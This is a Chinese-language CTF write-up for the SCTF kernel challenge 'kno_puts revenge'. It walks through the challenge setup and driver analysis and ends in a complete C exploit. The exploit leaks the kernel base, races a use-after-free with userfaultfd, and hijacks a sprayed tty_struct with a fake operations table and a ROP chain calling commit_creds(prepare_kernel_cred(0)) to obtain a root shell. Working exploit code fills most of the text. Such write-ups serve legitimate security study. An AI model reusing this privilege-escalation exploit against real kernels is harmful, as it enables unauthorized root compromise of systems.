前言
本次SCTF刚好出了两道关于内核UAF的题目,本文写的是kno_puts revenge;
参考文章: 点击查看
本文将以从拿到题目后的每一步流程写起,相关的知识点部分会在遇到该知识点时进行讲解;
做题准备
Step.1
熟悉题目中给的文件;
在解压题目之后是有三个文件,分别为:
- boot.sh:qemu虚拟机启动文件;
- bzImage:
big zImage
,是vmlinux经过压缩后的文件。
- roottfs.cpio:打包好的文件系统。
Step.2
对每个文件进行预处理
修改boot.sh
1 2 3 4 5 6 7 8 9 10
| #!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu qemu64,+smep,+smap \ -kernel bzImage \ -initrd rootfs.cpio \ -monitor /dev/null \ -append "console=ttyS0 kaslr quiet panic=1" \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic
|
我们为了方便调试会修改参数,比如关闭kaslr,以及加上-s参数以便调试;
修改后:
1 2 3 4 5 6 7 8 9 10 11
| #!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu qemu64,+smep,+smap \ -kernel bzImage \ -initrd rootfs.cpio \ -monitor /dev/null \ -append "console=ttyS0 nokaslr quiet panic=1" \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -s
|
提取vmlinux
使用工具:vmlinux-to-elf
1
| vmlinux-to-elf bzImage > vmlinux
|
提取可用gadget
使用工具:ropper
1
| ropper -f ./vmlinux --nocolor > gadget.txt
|
解包文件系统
该文件系统可以直接双击提取
然后修改init文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #!/bin/sh
[ -d /dev ] || mkdir -m 0755 /dev [ -d /sys ] || mkdir /sys [ -d /proc ] || mkdir /proc [ -d /tmp ] || mkdir /tmp [ -d /etc ] || mkdir /etc
mount -t proc -o nodev,noexec,nosuid proc /proc mount -t sysfs -o nodev,noexec,nosuid sysfs /sys mount -t devtmpfs -o nosuid,mode=0755 udev /dev mount -t tmpfs tmpfs /tmp
mkdir -p /dev/pts mkdir -p /var/lock mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
ln -sf /proc/mounts /etc/mtab
echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/perf_event_paranoid echo 1 > /proc/sys/vm/unprivileged_userfaultfd
mdev -s chown 0:1000 /dev/console chown 0:1000 /dev/ptmx chown 0:1000 /dev/tty
chmod 400 flag
insmod /test.ko mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
|
修改用户为root,并且每次启动都输出一次驱动加载地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #!/bin/sh
[ -d /dev ] || mkdir -m 0755 /dev [ -d /sys ] || mkdir /sys [ -d /proc ] || mkdir /proc [ -d /tmp ] || mkdir /tmp [ -d /etc ] || mkdir /etc
mount -t proc -o nodev,noexec,nosuid proc /proc mount -t sysfs -o nodev,noexec,nosuid sysfs /sys mount -t devtmpfs -o nosuid,mode=0755 udev /dev mount -t tmpfs tmpfs /tmp
mkdir -p /dev/pts mkdir -p /var/lock mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
ln -sf /proc/mounts /etc/mtab
echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/perf_event_paranoid echo 1 > /proc/sys/vm/unprivileged_userfaultfd
mdev -s chown 0:1000 /dev/console chown 0:1000 /dev/ptmx chown 0:1000 /dev/tty
chmod 400 flag
insmod /test.ko mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0 cat /sys/module/test/sections/.text setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -d 0 -f
|
Step.3
静态分析驱动文件;
my_module_ioctl
我将此处分为三部分,分别为检查和两个功能
检查部分:
此处需要我们输入password,但是这个password是随机生成的;
申请堆块:
当操作码为0xFFF0
时,会申请一个0x2E0大小的堆块,并且将该地址传给用户态;
释放堆块:
当操作码为0xFFF1
时,会释放该堆块,但是只有一次机会。
module_write
从用户态往堆块中写入数据。
解题过程
Step.4
首先我们需要构建一个做题思路,如何去利用漏洞,看了一整个驱动的伪代码,我想到了CISCN2017-babydriver
这道题,利用条件竞争,在新进程的结构体申请时会申请到之前的悬空堆块指针,这道题申请的大小为0x2E0,所以我们根据一些可利用的结构体的大小找到这道题我们应该是使用tty_struct
,然后就是利用条件竞争。
Step.5
泄露kernel_base
,内核5.4,这里我使用的是泄露sys/kernel/notes
的内容,然后计算kernel_base
;
在调试的时候找到kernel base
为:
首先可以看下notes
里面的内容,发现是有一些地址可以利用的:
1 2 3 4 5 6
| int notes = open("/sys/kernel/notes", O_RDONLY); char tmp[0x100] = {0}; read(notes, tmp, 0x100); for(int i = 0; i < 0x100; i++){ printf("tmp[0x%x] = 0x%llx\n", i, *(long*)(&tmp[i])); }
|
也就是说我们泄露出的tmp[0x9c]
位置存放的这个地址减去0x2000就是kernel base
;
Step.6
绕过检查
有以下几个部分:
- 用户态输入在v12;
- 我们设置checkebuf为0x30大小;
- 那么
checkebuf[0x20]
即为v13
,也就是v11
,我们需要令v11
为1,所以checkbuf[0x20] = 1;
- 接着我们申请堆块的时候内核态会把堆块地址传给用户态,也就是v6的位置;
- 所以设置
\*(long\*)&checkbuf[0x28] = (long)data;
,利用data存储地址以便后边rop等各种使用;
1 2 3 4 5 6 7 8 9 10
| checkbuf[0x20] = 1; *(long*)&checkbuf[0x28] = (long)data; ioctl(fd, 0xFFF0, checkbuf); ptr = *(long*)data; printf("[+] checkbuf[0x20]: %d\n", checkbuf[0x20]); printf("[+] *(long*)&checkbuf[0x28]: 0x%llx\n", *(long*)&checkbuf[0x28]); printf("[+] *(long*)data: 0x%llx\n", *(long*)data); printf("[+] ptr: 0x%llx\n", ptr); char a[0x20] = {1,1,1,1,1,1,1,1,1,1,1,1,1,1}; write(fd, a, 0x20);
|
可以看到我们确实可以直接执行申请堆块,堆块地址也拿到了,并且也成功写入内容了,说明检查已经绕过了;
Step.7
这一部分就是最重要的部分了,注册userfaultfd
来处理缺页错误;
那么从哪里来的缺页错误呢,这是我们需要解决的一个问题:
利用我们write函数的copy_from_user
,假如我们传入的a2
是一块mmap
映射出来的未初始化的一块区域,此时就会发生缺页错误,此时copy_from_user
就会暂停执行,在暂停时,我们再打开另一个线程将ptr释放,将其他结构申请到这里,然后恢复执行copy_from_user
时,此时我们的ptr
指向的就是我们申请的其他结构体,在这道题我们用的是tty_struct
,然后就可以对tty进行修改了;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| void Handler(int uffd){ struct uffd_msg msg; struct uffdio_copy uc; unsigned long* faketty = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); struct pollfd pf; pf.fd = uffd; pf.events = POLLIN; poll(&pf, 1, -1); read(uffd, &msg, sizeof(msg)); ...... uc.src = (unsigned long)faketty; uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1); uc.len = getpagesize(); uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); break; } void* page; void userfaultfd(){ page = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); struct uffdio_register ur; struct uffdio_api ua; ur.range.start = (unsigned long)page; ur.range.len = 0x1000; ur.mode = UFFDIO_REGISTER_MODE_MISSING; ua.api = UFFD_API; ua.features = 0; if(ioctl(uffd, UFFDIO_API, &ua) == -1){ return 1; } ioctl(uffd, UFFDIO_REGISTER, &ur); pthread_t pt; pthread_create(&pt, NULL, (void*(*)(void*))Handler, (void*)uffd); }
|
这是目前的注册userfaultfd
的函数,handler
在后面继续写,这里大致就算是一个模板了,如果想了解这里面结构体的各个成员可以看我前言参考文章中的第三篇,讲解的比较详细,这里主要是为了做题就不赘述了;
Step.8
写rop之前我们需要了解下我们劫持tty结构体是为了什么,如何利用这个结构体:
当用户打开ptmx驱动时,会分配一个tty_struct
结构,源码放在了文章最后;
其中有一个const struct tty_operations *ops;
,它是一个tty_operations
指针,tty_operations
结构体里面是一些对驱动操作的函数指针;
此时可以想到我们在做用户态高版本堆利用时,会伪造vtable来利用IO进行攻击,在这里也是一样的,我们伪造一个tty_struct
,使里面指向伪造的tty_operations
结构体,再对驱动执行相应的函数,而此时该函数指向的是我们写的ROP链,就可以达到一个控制程序执行流程的目的。
Step.9
该题目的gadget可能比较麻烦,没有找到特别合适的,只能用一些带着其他指令的gadget,稍微调试一下便好;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| void Handler(int uffd){ size_t commit_creds = kernel_base + 0x97d00; size_t prepare_kernel_cred = kernel_base + 0x98140; size_t pop_rop_31_to_rsp = kernel_base + 0x572fb3; size_t pop_rdi = kernel_base + 0x003e98; size_t pop_rbx = kernel_base + 0x35a6; size_t mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx = kernel_base + 0x34e90e; size_t swapgs = kernel_base + 0x5c8f0; size_t iretq = kernel_base + 0x32b42; struct uffd_msg msg; struct uffdio_copy uc; unsigned long* faketty = (unsigned long*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); int idx = 0x20; while (1) { struct pollfd pf; pf.fd = uffd; pf.events = POLLIN; poll(&pf, 1, -1); read(&uffd, &msg, sizeof(msg)); if(msg.event <= 0){ continue; } faketty[0] = TTY_STRUCT_MAGIC; faketty[2] = ptr; faketty[3] = ptr; *(long*)(((char*)faketty) + 0x31) = ptr+0x100; faketty[12] = pop_rop_31_to_rsp; faketty[idx++] = pop_rdi; faketty[idx++] = 0; faketty[idx++] = prepare_kernel_cred; faketty[idx++] = pop_rbx; faketty[idx++] = 0; faketty[idx++] = mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx; faketty[idx++] = 0; faketty[idx++] = commit_creds; faketty[idx++] = swapgs; faketty[idx++] = iretq; faketty[idx++] = (unsigned long long)shell; faketty[idx++] = user_cs; faketty[idx++] = user_rflags; faketty[idx++] = user_rsp; faketty[idx++] = user_ss; *(long*)&checkbuf[0x58-0x30] = 0; ioctl(fd, 0xFFF1, checkbuf); for(int i = 0; i < 0x50; i++){ ptmx[i] = open("/dev/ptmx", O_RDWR); } uc.src = (unsigned long)faketty; uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1); uc.len = getpagesize(); uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); break; } }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <string.h> #include <syscall.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <poll.h> #define TTY_STRUCT_MAGIC 0x0000000100005401
size_t kernel_base;
int fd; char check_buf[0x30]; char data[0x400]; int ptmx[0x100]; long ptr; size_t user_cs, user_ss, user_rflags, user_rsp; void save_status() { __asm__(".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;"); puts("\033[32m[+]save status successfully\033[0m"); }
void shell() { system("/bin/sh"); return; }
char data[0x400],checkbuf[0x30]; int ptmx[0x100]; int fd; long ptr; size_t kernel_base;
void Handler(int uffd) { size_t commit_creds = kernel_base + 0x97d00; size_t prepare_kernel_cred = kernel_base + 0x98140; size_t pop_rop_31_to_rsp = kernel_base + 0x572fb3; size_t pop_rdi = kernel_base + 0x003e98; size_t pop_rbx = kernel_base + 0x35a6; size_t mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx = kernel_base + 0x34e90e; size_t swapgs = kernel_base + 0x5c8f0; size_t iretq = kernel_base + 0x32b42; struct uffd_msg msg; struct uffdio_copy uc = { 0 }; unsigned long* faketty = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); int idx = 0x20; while(1){ struct pollfd pf = { 0 }; pf.fd = uffd; pf.events = POLLIN; poll(&pf, 1, -1); read(uffd, &msg, sizeof(msg)); if (msg.event <= 0) { continue; } faketty[0] = TTY_STRUCT_MAGIC; faketty[2] = ptr; faketty[3] = ptr; *(long*)(((char*)faketty) + 0x31) = ptr+0x100; faketty[12] = pop_rop_31_to_rsp; faketty[idx++] = pop_rdi; faketty[idx++] = 0; faketty[idx++] = prepare_kernel_cred; faketty[idx++] = pop_rbx; faketty[idx++] = 0; faketty[idx++] = mov_rdi_rax_test_rbx_rbx_jg_0x34f900_mov_rax_rdi_pop_rbx; faketty[idx++] = 0; faketty[idx++] = commit_creds; faketty[idx++] = swapgs; faketty[idx++] = iretq; faketty[idx++] = (unsigned long long)shell; faketty[idx++] = user_cs; faketty[idx++] = user_rflags; faketty[idx++] = user_rsp; faketty[idx++] = user_ss; *(long*)&checkbuf[0x58 - 0x30] = 0; ioctl(fd, 0xFFF1, checkbuf); for (int i = 0; i < 0x50; i++) { ptmx[i] = open("/dev/ptmx", O_RDWR); } uc.src = (unsigned long)faketty; uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1); uc.len = getpagesize(); uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); break; } } void* page; void userfaultfd(){ page = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); struct uffdio_register ur = { 0 }; struct uffdio_api ua = { 0 }; ur.range.start = (unsigned long)page; ur.range.len = 0x1000; ur.mode = UFFDIO_REGISTER_MODE_MISSING; ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) return 1; ioctl(uffd, UFFDIO_REGISTER, &ur); pthread_t pt; pthread_create(&pt, NULL, (void* (*)(void*))Handler, (void*)uffd); }
int main() { save_status(); fd = open("/dev/ksctf", O_RDWR); int note = open("/sys/kernel/notes", O_RDONLY); char tmp[0x100] = { 0 }; read(note, tmp, 0x100); kernel_base = *(long*)(&tmp[0x9c]) - 0x2000; checkbuf[0x20] = 1; *(long*)&checkbuf[0x28] = (long)data; userfaultfd(); ioctl(fd, 0xFFF0, checkbuf); ptr = *(long*)data; write(fd, page, 0x2e0); for (int i = 0; i < 0x50; i++) { ioctl(ptmx[i], 0, ptr); } return 0; }
|
源码
tty_struct
位于/include/linux/tty.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| struct tty_struct { struct kref kref; int index; struct device *dev; struct tty_driver *driver; struct tty_port *port; const struct tty_operations *ops;
struct tty_ldisc *ldisc; struct ld_semaphore ldisc_sem;
struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; struct ktermios termios, termios_locked; char name[64]; unsigned long flags; int count; unsigned int receive_room; struct winsize winsize;
struct { spinlock_t lock; bool stopped; bool tco_stopped; } flow;
struct { struct pid *pgrp; struct pid *session; spinlock_t lock; unsigned char pktstatus; bool packet; } ctrl;
bool hw_stopped; bool closing; int flow_change;
struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; int write_cnt; u8 *write_buf;
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096 struct work_struct SAK_work; } __randomize_layout;
|
tty_operations
位于/include/linux/tty_driver.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); ssize_t (*write)(struct tty_struct *tty, const u8 *buf, size_t count); int (*put_char)(struct tty_struct *tty, u8 ch); void (*flush_chars)(struct tty_struct *tty); unsigned int (*write_room)(struct tty_struct *tty); unsigned int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, const struct ktermios *old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); int (*ldisc_ok)(struct tty_struct *tty, int ldisc); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, u8 ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); int (*get_serial)(struct tty_struct *tty, struct serial_struct *p); int (*set_serial)(struct tty_struct *tty, struct serial_struct *p); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *m, void *driver); } __randomize_layout;
|